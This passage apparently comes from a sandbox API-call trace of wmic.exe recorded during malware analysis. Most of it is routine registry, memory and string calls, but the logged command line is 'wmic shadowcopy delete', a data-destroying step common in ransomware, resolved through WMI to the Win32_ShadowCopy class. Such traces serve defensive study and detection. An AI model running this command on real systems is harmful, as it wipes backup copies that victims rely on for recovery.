lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x24f5d0*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x24f5d0*=0x42) returned 0x0 [0269.601] malloc (_Size=0x86) returned 0x126db0 [0269.601] RegQueryValueExW (in: hKey=0x108, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x126db0, lpcbData=0x24f5d0*=0x42 | out: lpType=0x0, lpData=0x126db0*=0x25, lpcbData=0x24f5d0*=0x42) returned 0x0 [0269.601] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0269.601] malloc (_Size=0x42) returned 0x126e40 [0269.601] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0269.601] RegQueryValueExW (in: hKey=0x108, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x24f630, lpcbData=0x24f5d0*=0x400 | out: lpType=0x0, lpData=0x24f630*=0x36, lpcbData=0x24f5d0*=0xc) returned 0x0 [0269.601] _wtol (_String="65536") returned 65536 [0269.601] free (_Block=0x126db0) [0269.601] RegCloseKey (hKey=0x0) returned 0x6 [0269.601] CoCreateInstance (in: rclsid=0xffed7410*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xffed73f0*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x24fad8 | out: ppv=0x24fad8*=0x1471d0) returned 0x0 [0271.093] FreeThreadedDOMDocument:IXMLDOMDocument:Load (in: This=0x1471d0, xmlSource=0x24fc20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x126d50), isSuccessful=0x24fc90 | out: isSuccessful=0x24fc90*=0xffff) returned 0x0 [0274.552] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x1471d0, DOMElement=0x24fad0 | out: DOMElement=0x24fad0) returned 0x0 [0274.552] malloc (_Size=0x18) returned 0x126d50 [0274.557] free (_Block=0x126d50) [0274.588] malloc (_Size=0x18) returned 0x126d50 [0274.588] free (_Block=0x126d50) [0274.588] malloc (_Size=0x18) returned 0x126d50 [0274.588] malloc (_Size=0x18) returned 0x126d70 [0274.590] malloc (_Size=0x30) returned 0x128080 [0274.597] malloc (_Size=0x18) returned 0x126e90 [0274.597] free (_Block=0x126e90) [0274.597] malloc (_Size=0x18) returned 0x12c550 [0274.597] malloc (_Size=0x18) returned 0x12c570 [0274.597] SysStringLen (param_1="VALUE") returned 0x5 [0274.598] SysStringLen (param_1="TABLE") returned 0x5 [0274.598] SysStringLen (param_1="TABLE") returned 0x5 [0274.598] SysStringLen (param_1="VALUE") returned 0x5 [0274.598] malloc (_Size=0x30) returned 0x1280c0 [0274.598] malloc (_Size=0x18) returned 0x12c590 [0274.598] free (_Block=0x12c590) [0274.598] malloc (_Size=0x18) returned 0x12c590 [0274.598] malloc (_Size=0x18) returned 0x12c5b0 [0274.598] SysStringLen (param_1="LIST") returned 0x4 [0274.598] SysStringLen (param_1="TABLE") returned 0x5 [0274.598] malloc (_Size=0x30) returned 0x128100 [0274.599] malloc (_Size=0x18) returned 0x12c5d0 [0274.599] free (_Block=0x12c5d0) [0274.599] malloc (_Size=0x18) returned 0x12c5d0 [0274.599] malloc (_Size=0x18) returned 0x12c5f0 [0274.599] SysStringLen (param_1="RAWXML") returned 0x6 [0274.599] SysStringLen (param_1="TABLE") returned 0x5 [0274.599] SysStringLen (param_1="RAWXML") returned 0x6 [0274.599] SysStringLen (param_1="LIST") returned 0x4 [0274.599] SysStringLen (param_1="LIST") returned 0x4 [0274.599] SysStringLen (param_1="RAWXML") returned 0x6 [0274.599] malloc (_Size=0x30) returned 0x128140 [0274.599] malloc (_Size=0x18) returned 0x12c610 [0274.599] free (_Block=0x12c610) [0274.600] malloc (_Size=0x18) returned 0x12c610 [0274.600] malloc (_Size=0x18) returned 0x12c630 [0274.600] SysStringLen (param_1="HTABLE") returned 0x6 [0274.600] SysStringLen (param_1="TABLE") returned 0x5 [0274.600] SysStringLen (param_1="HTABLE") returned 0x6 [0274.600] SysStringLen (param_1="LIST") returned 0x4 [0274.600] malloc (_Size=0x30) returned 0x128180 [0274.600] malloc (_Size=0x18) returned 0x12c650 [0274.600] free (_Block=0x12c650) [0274.600] malloc (_Size=0x18) returned 0x12c650 [0274.600] malloc (_Size=0x18) returned 0x12c670 [0274.600] SysStringLen (param_1="HFORM") returned 0x5 [0274.600] SysStringLen (param_1="TABLE") returned 0x5 [0274.600] SysStringLen (param_1="HFORM") returned 0x5 [0274.600] SysStringLen (param_1="LIST") returned 0x4 [0274.601] SysStringLen (param_1="HFORM") returned 0x5 [0274.601] SysStringLen (param_1="HTABLE") returned 0x6 [0274.601] malloc (_Size=0x30) returned 0x1281c0 [0274.601] malloc (_Size=0x18) returned 0x12c690 [0274.601] free (_Block=0x12c690) [0274.601] malloc (_Size=0x18) returned 0x12c690 [0274.601] malloc (_Size=0x18) returned 0x12c6b0 [0274.601] SysStringLen (param_1="XML") returned 0x3 [0274.601] SysStringLen (param_1="TABLE") returned 0x5 [0274.601] SysStringLen (param_1="XML") returned 0x3 [0274.601] SysStringLen (param_1="VALUE") returned 0x5 [0274.601] SysStringLen (param_1="VALUE") returned 0x5 [0274.601] SysStringLen (param_1="XML") returned 0x3 [0274.601] malloc (_Size=0x30) returned 0x128200 [0274.602] malloc (_Size=0x18) returned 0x12c6d0 [0274.602] free (_Block=0x12c6d0) [0274.602] malloc (_Size=0x18) returned 0x12c6d0 [0274.602] malloc (_Size=0x18) returned 0x12c6f0 [0274.602] SysStringLen (param_1="MOF") returned 0x3 [0274.602] SysStringLen (param_1="TABLE") returned 0x5 [0274.602] SysStringLen (param_1="MOF") returned 0x3 [0274.602] SysStringLen (param_1="LIST") returned 0x4 [0274.602] SysStringLen (param_1="MOF") returned 0x3 [0274.602] SysStringLen (param_1="RAWXML") returned 0x6 [0274.602] SysStringLen (param_1="LIST") returned 0x4 [0274.602] SysStringLen (param_1="MOF") returned 0x3 [0274.602] malloc (_Size=0x30) returned 0x128240 [0274.602] malloc (_Size=0x18) returned 0x12c710 [0274.603] free (_Block=0x12c710) [0274.603] malloc (_Size=0x18) returned 0x12c710 [0274.603] malloc (_Size=0x18) returned 0x12c730 [0274.603] SysStringLen (param_1="CSV") returned 0x3 [0274.603] SysStringLen (param_1="TABLE") returned 0x5 [0274.603] SysStringLen (param_1="CSV") returned 0x3 [0274.603] SysStringLen (param_1="LIST") returned 0x4 [0274.603] SysStringLen (param_1="CSV") returned 0x3 [0274.603] SysStringLen (param_1="HTABLE") returned 0x6 [0274.603] SysStringLen (param_1="CSV") returned 0x3 [0274.603] SysStringLen (param_1="HFORM") returned 0x5 [0274.603] malloc (_Size=0x30) returned 0x128280 [0274.603] malloc (_Size=0x18) returned 0x12c750 [0274.604] free (_Block=0x12c750) [0274.604] malloc (_Size=0x18) returned 0x12c750 [0274.604] malloc (_Size=0x18) returned 0x12c770 [0274.604] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0274.604] SysStringLen (param_1="TABLE") returned 0x5 [0274.604] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0274.604] SysStringLen (param_1="VALUE") returned 0x5 [0274.604] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0274.604] SysStringLen (param_1="XML") returned 0x3 [0274.604] SysStringLen (param_1="XML") returned 0x3 [0274.604] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0274.604] malloc (_Size=0x30) returned 0x1282c0 [0274.604] malloc (_Size=0x18) returned 0x12c790 [0274.604] free (_Block=0x12c790) [0274.604] malloc (_Size=0x18) returned 0x12c790 [0274.605] malloc (_Size=0x18) returned 0x12c7b0 [0274.605] SysStringLen (param_1="texttablewsys") returned 0xd [0274.605] SysStringLen (param_1="TABLE") returned 0x5 [0274.605] SysStringLen (param_1="texttablewsys") returned 0xd [0274.605] SysStringLen (param_1="XML") returned 0x3 [0274.605] SysStringLen (param_1="texttablewsys") returned 0xd [0274.605] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0274.605] SysStringLen (param_1="XML") returned 0x3 [0274.605] SysStringLen (param_1="texttablewsys") returned 0xd [0274.605] malloc (_Size=0x30) returned 0x128300 [0274.605] malloc (_Size=0x18) returned 0x12c7d0 [0274.605] free (_Block=0x12c7d0) [0274.605] malloc (_Size=0x18) returned 0x12c7d0 [0274.605] malloc (_Size=0x18) returned 0x12c7f0 [0274.605] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0274.606] SysStringLen (param_1="TABLE") returned 0x5 [0274.606] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0274.606] SysStringLen (param_1="XML") returned 0x3 [0274.606] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0274.606] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0274.606] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0274.606] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0274.606] malloc (_Size=0x30) returned 0x128340 [0274.606] malloc (_Size=0x18) returned 0x12c810 [0274.606] free (_Block=0x12c810) [0274.606] malloc (_Size=0x18) returned 0x12c810 [0274.606] malloc (_Size=0x18) returned 0x12c830 [0274.606] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0274.606] SysStringLen (param_1="TABLE") returned 0x5 [0274.606] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0274.606] SysStringLen (param_1="XML") returned 0x3 [0274.607] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0274.607] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0274.607] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0274.607] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0274.607] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0274.607] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0274.607] malloc (_Size=0x30) returned 0x128380 [0274.607] malloc (_Size=0x18) returned 0x12c850 [0274.607] free (_Block=0x12c850) [0274.607] malloc (_Size=0x18) returned 0x12c850 [0274.607] malloc (_Size=0x18) returned 0x12c870 [0274.607] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0274.607] SysStringLen (param_1="TABLE") returned 0x5 [0274.607] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0274.607] SysStringLen (param_1="XML") returned 0x3 [0274.608] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0274.608] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0274.608] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0274.608] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0274.608] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0274.608] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0274.608] malloc (_Size=0x30) returned 0x1283c0 [0274.608] malloc (_Size=0x18) returned 0x12c890 [0274.608] free (_Block=0x12c890) [0274.608] malloc (_Size=0x18) returned 0x12c890 [0274.608] malloc (_Size=0x18) returned 0x12c8b0 [0274.608] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0274.608] SysStringLen (param_1="TABLE") returned 0x5 [0274.608] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0274.608] SysStringLen (param_1="XML") returned 0x3 [0274.608] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0274.608] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0274.608] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0274.609] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0274.609] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0274.609] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0274.609] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0274.609] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0274.609] malloc (_Size=0x30) returned 0x128400 [0274.609] malloc (_Size=0x18) returned 0x12c8d0 [0274.609] free (_Block=0x12c8d0) [0274.609] malloc (_Size=0x18) returned 0x12c8d0 [0274.609] malloc (_Size=0x18) returned 0x12c8f0 [0274.609] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0274.609] SysStringLen (param_1="TABLE") returned 0x5 [0274.609] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0274.609] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0274.609] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0274.609] SysStringLen (param_1="XML") returned 0x3 [0274.609] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0274.609] SysStringLen (param_1="texttablewsys") returned 0xd [0274.609] SysStringLen (param_1="XML") returned 0x3 [0274.609] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0274.609] malloc (_Size=0x30) returned 0x128440 [0274.610] malloc (_Size=0x18) returned 0x12c910 [0274.610] free (_Block=0x12c910) [0274.610] malloc (_Size=0x18) returned 0x12c910 [0274.610] malloc (_Size=0x18) returned 0x12c930 [0274.610] SysStringLen (param_1="htable-sortby") returned 0xd [0274.610] SysStringLen (param_1="TABLE") returned 0x5 [0274.610] SysStringLen (param_1="htable-sortby") returned 0xd [0274.610] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0274.610] SysStringLen (param_1="htable-sortby") returned 0xd [0274.610] SysStringLen (param_1="XML") returned 0x3 [0274.610] SysStringLen (param_1="htable-sortby") returned 0xd [0274.610] SysStringLen (param_1="texttablewsys") returned 0xd [0274.610] SysStringLen (param_1="htable-sortby") returned 0xd [0274.610] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0274.610] SysStringLen (param_1="XML") returned 0x3 [0274.610] SysStringLen (param_1="htable-sortby") returned 0xd [0274.610] malloc (_Size=0x30) returned 0x128480 [0274.610] malloc (_Size=0x18) returned 0x12c950 [0274.610] free (_Block=0x12c950) [0274.611] malloc (_Size=0x18) returned 0x12c950 [0274.611] malloc (_Size=0x18) returned 0x12c970 [0274.611] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0274.611] SysStringLen (param_1="TABLE") returned 0x5 [0274.611] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0274.611] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0274.611] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0274.611] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0274.611] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0274.611] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0274.611] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0274.611] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0274.611] malloc (_Size=0x30) returned 0x1284c0 [0274.611] malloc (_Size=0x18) returned 0x12c990 [0274.611] free (_Block=0x12c990) [0274.611] malloc (_Size=0x18) returned 0x12c990 [0274.611] malloc (_Size=0x18) returned 0x12c9b0 [0274.611] SysStringLen (param_1="wmiclimofformat") returned 0xf [0274.611] SysStringLen (param_1="TABLE") returned 0x5 [0274.611] SysStringLen (param_1="wmiclimofformat") returned 0xf [0274.611] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0274.611] SysStringLen (param_1="wmiclimofformat") returned 0xf [0274.611] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0274.612] SysStringLen (param_1="wmiclimofformat") returned 0xf [0274.612] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0274.612] SysStringLen (param_1="wmiclimofformat") returned 0xf [0274.612] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0274.612] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0274.612] SysStringLen (param_1="wmiclimofformat") returned 0xf [0274.612] malloc (_Size=0x30) returned 0x128500 [0274.612] malloc (_Size=0x18) returned 0x12c9d0 [0274.612] free (_Block=0x12c9d0) [0274.612] malloc (_Size=0x18) returned 0x12c9d0 [0274.612] malloc (_Size=0x18) returned 0x12c9f0 [0274.612] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0274.612] SysStringLen (param_1="TABLE") returned 0x5 [0274.612] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0274.612] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0274.612] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0274.612] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0274.612] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0274.612] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0274.612] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0274.612] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0274.612] malloc (_Size=0x30) returned 0x128540 [0274.613] malloc (_Size=0x18) returned 0x12ca10 [0274.613] free (_Block=0x12ca10) [0274.613] malloc (_Size=0x18) returned 0x12ca10 [0274.613] malloc (_Size=0x18) returned 0x12ca30 [0274.613] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0274.613] SysStringLen (param_1="TABLE") returned 0x5 [0274.613] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0274.613] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0274.613] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0274.613] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0274.613] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0274.613] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0274.613] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0274.613] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0274.613] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0274.613] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0274.613] malloc (_Size=0x30) returned 0x128580 [0274.613] FreeThreadedDOMDocument:IUnknown:Release (This=0x1471d0) returned 0x0 [0274.613] free (_Block=0x126d90) [0274.614] GetCommandLineW () returned="wmic shadowcopy delete" [0274.619] malloc (_Size=0x30) returned 0x1285c0 [0274.619] memcpy_s (in: _Destination=0x1285c0, _DestinationSize=0x2e, _Source=0x3825cc, _SourceSize=0x2e | out: _Destination=0x1285c0) returned 0x0 [0274.623] malloc (_Size=0x18) returned 0x12ca50 [0274.623] malloc (_Size=0x18) returned 0x12ca70 [0274.624] malloc (_Size=0x18) returned 0x12ca90 [0274.624] malloc (_Size=0x18) returned 0x12cab0 [0274.624] malloc (_Size=0x80) returned 0x126d90 [0274.624] GetLocalTime (in: lpSystemTime=0x24fc70 | out: lpSystemTime=0x24fc70*(wYear=0x7e4, wMonth=0x9, wDayOfWeek=0x3, wDay=0x1e, wHour=0x10, wMinute=0x25, wSecond=0x1a, wMilliseconds=0x97)) [0274.624] _vsnwprintf (in: _Buffer=0x126d90, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x24fbc8 | out: _Buffer="09-30-2020T16:37:26") returned 19 [0274.624] lstrlenW (lpString=" shadowcopy delete") returned 19 [0274.624] malloc (_Size=0x28) returned 0x126e90 [0274.624] lstrlenW (lpString=" shadowcopy delete") returned 19 [0274.624] lstrlenW (lpString=" shadowcopy delete") returned 19 [0274.624] malloc (_Size=0x28) returned 0x12cd20 [0274.624] lstrlenW (lpString=" shadowcopy delete") returned 19 [0274.628] lstrlenW (lpString=" shadowcopy delete") returned 19 [0274.628] lstrlenW (lpString=" shadowcopy delete") returned 19 [0274.628] malloc (_Size=0x16) returned 0x12cad0 [0274.628] lstrlenW (lpString="shadowcopy") returned 10 [0274.628] _wcsicmp (_String1="shadowcopy", _String2="\"NULL\"") returned 81 [0274.628] malloc (_Size=0x16) returned 0x12caf0 [0274.629] malloc (_Size=0x8) returned 0x126ec0 [0274.688] free (_Block=0x0) [0274.688] free (_Block=0x12cad0) [0274.689] lstrlenW (lpString=" shadowcopy delete") returned 19 [0274.689] malloc (_Size=0xe) returned 0x12cad0 [0274.689] lstrlenW (lpString="delete") returned 6 [0274.689] _wcsicmp (_String1="delete", _String2="\"NULL\"") returned 66 [0274.689] malloc (_Size=0xe) returned 0x12cb10 [0274.689] malloc (_Size=0x10) returned 0x12cb30 [0274.689] memmove_s (in: _Destination=0x12cb30, _DestinationSize=0x8, _Source=0x126ec0, _SourceSize=0x8 | out: _Destination=0x12cb30) returned 0x0 [0274.689] free (_Block=0x126ec0) [0274.689] free (_Block=0x0) [0274.689] free (_Block=0x12cad0) [0274.689] malloc (_Size=0x10) returned 0x12cad0 [0274.689] lstrlenW (lpString="QUIT") returned 4 [0274.689] lstrlenW (lpString="shadowcopy") returned 10 [0274.689] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3 [0274.689] lstrlenW (lpString="EXIT") returned 4 [0274.689] lstrlenW (lpString="shadowcopy") returned 10 [0274.689] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3 [0274.689] free (_Block=0x12cad0) [0274.689] WbemLocator:IUnknown:AddRef (This=0x1e81390) returned 0x2 [0274.690] malloc (_Size=0x10) returned 0x12cad0 [0274.690] lstrlenW (lpString="/") returned 1 [0274.690] lstrlenW (lpString="shadowcopy") returned 10 [0274.690] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="/", cchCount2=1) returned 3 [0274.690] lstrlenW (lpString="-") returned 1 [0274.690] lstrlenW (lpString="shadowcopy") returned 10 [0274.690] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="-", cchCount2=1) returned 3 [0274.690] lstrlenW (lpString="CLASS") returned 5 [0274.690] lstrlenW (lpString="shadowcopy") returned 10 [0274.690] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3 [0274.690] lstrlenW (lpString="PATH") returned 4 [0274.690] lstrlenW (lpString="shadowcopy") returned 10 [0274.690] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3 [0274.690] lstrlenW (lpString="CONTEXT") returned 7 [0274.690] lstrlenW (lpString="shadowcopy") returned 10 [0274.690] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3 [0274.690] lstrlenW (lpString="shadowcopy") returned 10 [0274.690] malloc (_Size=0x16) returned 0x12cb50 [0274.690] lstrlenW (lpString="shadowcopy") returned 10 [0274.691] GetCurrentThreadId () returned 0x6d8 [0274.691] ??0CHString@@QEAA@XZ () returned 0x24fa80 [0274.691] malloc (_Size=0x18) returned 0x12cb70 [0274.691] malloc (_Size=0x18) returned 0x12cb90 [0274.691] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1e81390, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xfff42998 | out: ppNamespace=0xfff42998*=0x1e93a98) returned 0x0 [0275.385] free (_Block=0x12cb90) [0275.385] free (_Block=0x12cb70) [0275.385] CoSetProxyBlanket (pProxy=0x1e93a98, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0275.385] ??1CHString@@QEAA@XZ () returned 0x7fef92b482c [0275.386] GetCurrentThreadId () returned 0x6d8 [0275.386] ??0CHString@@QEAA@XZ () returned 0x24f918 [0275.386] malloc (_Size=0x18) returned 0x12cb70 [0275.386] malloc (_Size=0x18) returned 0x12cb90 [0275.386] malloc (_Size=0x18) returned 0x12cbb0 [0275.386] malloc (_Size=0x18) returned 0x12cbd0 [0275.386] SysStringLen (param_1="root\\cli") returned 0x8 [0275.386] SysStringLen (param_1="\\") returned 0x1 [0275.386] malloc (_Size=0x18) returned 0x12cbf0 [0275.386] SysStringLen (param_1="root\\cli\\") returned 0x9 [0275.386] SysStringLen (param_1="ms_409") returned 0x6 [0275.386] free (_Block=0x12cbd0) [0275.386] free (_Block=0x12cbb0) [0275.386] free (_Block=0x12cb90) [0275.386] free (_Block=0x12cb70) [0275.386] malloc (_Size=0x18) returned 0x12cb70 [0275.387] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1e81390, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xfff429a0 | out: ppNamespace=0xfff429a0*=0x1e93b28) returned 0x0 [0275.552] free (_Block=0x12cb70) [0275.552] free (_Block=0x12cbf0) [0275.553] ??1CHString@@QEAA@XZ () returned 0x7fef92b482c [0275.553] GetCurrentThreadId () returned 0x6d8 [0275.553] ??0CHString@@QEAA@XZ () returned 0x24fa90 [0275.553] malloc (_Size=0x18) returned 0x12cbf0 [0275.553] malloc (_Size=0x18) returned 0x12cb70 [0275.553] malloc (_Size=0x18) returned 0x12cb90 [0275.553] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0275.553] malloc (_Size=0x3a) returned 0x12cd50 [0275.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffed1980, cbMultiByte=-1, lpWideCharStr=0x12cd50, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0275.553] free (_Block=0x12cd50) [0275.553] malloc (_Size=0x18) returned 0x12cbb0 [0275.553] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0275.553] SysStringLen (param_1="shadowcopy") returned 0xa [0275.553] malloc (_Size=0x18) returned 0x12cbd0 [0275.553] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='shadowcopy") returned 0x26 [0275.553] SysStringLen (param_1="'") returned 0x1 [0275.553] free (_Block=0x12cbb0) [0275.553] free (_Block=0x12cb90) [0275.554] free (_Block=0x12cb70) [0275.554] free (_Block=0x12cbf0) [0275.554] IWbemServices:GetObject (in: This=0x1e93a98, strObjectPath="MSFT_CliAlias.FriendlyName='shadowcopy'", lFlags=0, pCtx=0x0, ppObject=0x24fa98*=0x0, ppCallResult=0x0 | out: ppObject=0x24fa98*=0x1ea04e0, ppCallResult=0x0) returned 0x0 [0275.564] malloc (_Size=0x18) returned 0x12cbf0 [0275.565] IWbemClassObject:Get (in: This=0x1ea04e0, wszName="Target", lFlags=0, pVal=0x24f9c0*(varType=0x0, wReserved1=0xfff4, wReserved2=0x0, wReserved3=0x0, varVal1=0xfff42998, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x24f9c0*(varType=0x8, wReserved1=0xfff4, wReserved2=0x0, wReserved3=0x0, varVal1="Select * from Win32_ShadowCopy", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0275.565] free (_Block=0x12cbf0) [0275.565] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0275.565] malloc (_Size=0x3e) returned 0x12cd50 [0275.565] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0275.565] malloc (_Size=0x18) returned 0x12cbf0 [0275.565] IWbemClassObject:Get (in: This=0x1ea04e0, wszName="PWhere", lFlags=0, pVal=0x24f9c0*(varType=0x0, wReserved1=0xfff4, wReserved2=0x0, wReserved3=0x0, varVal1=0x3ae058, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x24f9c0*(varType=0x8, wReserved1=0xfff4, wReserved2=0x0, wReserved3=0x0, varVal1=" Where ID = '#'", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0275.565] free (_Block=0x12cbf0) [0275.565] lstrlenW (lpString=" Where ID = '#'") returned 15 [0275.565] malloc (_Size=0x20) returned 0x12cda0 [0275.565] lstrlenW (lpString=" Where ID = '#'") returned 15 [0275.565] malloc (_Size=0x18) returned 0x12cbf0 [0275.565] IWbemClassObject:Get (in: This=0x1ea04e0, wszName="Connection", lFlags=0, pVal=0x24f9c0*(varType=0x0, wReserved1=0xfff4, wReserved2=0x0, wReserved3=0x0, varVal1=0x3fdf98, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x24f9c0*(varType=0xd, wReserved1=0xfff4, wReserved2=0x0, wReserved3=0x0, varVal1=0x1ea09c0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0275.566] free (_Block=0x12cbf0) [0275.566] IUnknown:QueryInterface (in: This=0x1ea09c0, riid=0xffed7360*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x24f9b0 | out: ppvObject=0x24f9b0*=0x1ea09c0) returned 0x0 [0275.566] GetCurrentThreadId () returned 0x6d8 [0275.566] ??0CHString@@QEAA@XZ () returned 